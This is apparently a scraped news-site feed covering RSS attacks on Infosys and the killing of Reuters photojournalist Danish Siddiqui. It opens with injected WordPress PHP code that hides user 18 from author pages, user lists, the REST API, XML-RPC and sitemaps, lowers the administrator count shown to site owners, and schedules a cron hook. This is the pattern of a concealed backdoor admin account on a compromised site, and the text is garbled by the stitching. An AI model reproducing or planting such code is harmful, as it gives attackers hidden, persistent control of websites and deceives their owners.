add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post After the Infosys attack, “Everyone Is Scared” echoes throughout India Inc appeared first on The Edge Media.
]]>
Several industry leaders told news agency Reuters that Prime Minister Narendra Modi’s officials and ideological allies have scared the business community with a public rant against two business titans.
Over the weekend, a publication owned by members of the Rashtriya Swayamsevak Sangh (RSS) attacked Infosys for failing to fix problems with the income tax website it manages.
The RSS labeled Infosys “anti-national” for sabotaging the tax system, sending shivers through the IT industry, which is leery of being on the wrong side of Prime Minister Narendra Modi’s government.
The post After the Infosys attack, “Everyone Is Scared” echoes throughout India Inc appeared first on The Edge Media.
]]>The post Indian photojournalist Danish Siddiqui killed in Kandahar province appeared first on The Edge Media.
]]>Deeply disturbed by the sad news of the killing of a friend, Danish Seddiqi in Kandahar last night. The Indian Journalist & winner of Pulitzer Prize was embedded with Afghan security forces. I met him 2 weeks ago before his departure to Kabul. Condolences to his family & Reuters,” Mamundzay tweeted.
In other tweets in Hindi, Mamundzay said Siddiqui, the chief photographer for Reuters in India, was with “Afghan security forces when they were attacked by terrorists” in Kandahar province on Friday.
Afghanistan’s Tolo News channel cited sources as saying that Siddiqui was killed in Spin Boldak district of Kandahar. It added that Sediq Karzai, an Afghan special forces commander in Kandahar, was killed in the same incident.
An Afghan commander told Reuters that Siddiqui was killed on Friday while covering a clash between Afghan security forces and Taliban fighters near a border crossing with Pakistan in Spin Boldak.
Afghan special forces were fighting to retake the main market area of Spin Boldak when Siddiqui and the senior Afghan officer were killed in what was described as “Taliban crossfire”, the official said.
The post Indian photojournalist Danish Siddiqui killed in Kandahar province appeared first on The Edge Media.
]]>